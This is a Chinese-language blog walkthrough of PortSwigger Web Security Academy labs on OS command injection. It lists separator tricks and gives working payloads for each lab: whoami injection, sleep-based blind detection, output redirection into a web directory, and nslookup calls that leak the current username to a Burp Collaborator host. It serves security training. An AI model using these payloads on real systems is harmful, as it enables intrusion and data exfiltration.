OS command injection

All labs | Web Security Academy (portswigger.net)

常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

1. OS command injection, simple case

OS命令注入,简单案例

**目标:**执行命令以确定当前用户的名称。whoami

过程:

用 burp 拦截数据包,有两个参数分别是产品和商店

Post 设置参数,whoami 命令用于显示自身用户名称

1
2
3
4
1 & whoami #

URL 编码后
1+%26+whoami+%23

230215PM11_65

230215PM11_66

2. Blind OS command injection with time delays

具有时间延迟的盲操作系统命令注入

**目标:**通过 sleep 10 秒判断出问题所在

过程:

在“反馈”界面抓包处理,分别测试name email等参数

1
2
+%26+sleep+10+%23
& sleep 10 #

230216AM10_72

3. Blind OS command injection with output redirection

带有输出重定向的盲操作系统命令注入

**目标:**通过 whomi 命令,输出重定向到/var/www/images/

过程:

在“反馈”界面抓包处理,分别测试name email等参数

让应用程序在输出响应之前休眠 10 秒,来确认是否有盲注命令注入,测试后发现易受攻击的字段是email

可通过 F12 把 emali 的 type 改为 text,以此绕过前端检查,来提交反馈

在电子邮箱处填写& whoami > /var/www/images/ling.txt #,执行 whoami 命令,将内容保存在 ling.txt

访问图片网址,修改文件名成 ling.txt

1
2
3
4
5
6
7
8
# 等待十秒
& sleep 10 #

# 将内容保存在 ling.txt
& whoami > /var/www/images/ling.txt #

# 访问
https://0ab8007b0415044bc48b9b5d001e00fb.web-security-academy.net/image?filename=ling.txt

230216AM11_74

230216AM11_2

4. Blind OS command injection with out-of-band interaction

带有带外交互的盲操作系统命令注入

**目标:**利用盲操作系统命令注入漏洞向 Burp 协作者发出 DNS 查找

过程:

需要 Burp pro 而不是社区版,利用 nslookup 命令去外带出回显

nslookup 命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题

1
2
3
4
+%26+nslookup+bl0lvdghtfv8hqndmhnfu63e258vwk.oastify.com+%23

# URL 解码后
& nslookup bl0lvdghtfv8hqndmhnfu63e258vwk.oastify.com #

230216PM02_5

230216PM02_4

5. Blind OS command injection with out-of-band data exfiltration

带外数据泄露的盲 OS 命令注入

启用 Burp Collaborator client,复制到剪贴板;拦截和修改提交反馈的请求,修改 email 参数

1
2
3
4
5
& nslookup `whoami`.kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com #

& nslookup $(whoami).kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com #

||nslookup `whoami`.kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com||

最后,在 burp 的子域名中,可以看到 DNS 交互,获得当前用户名

230216PM02_8

230216PM02_90


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k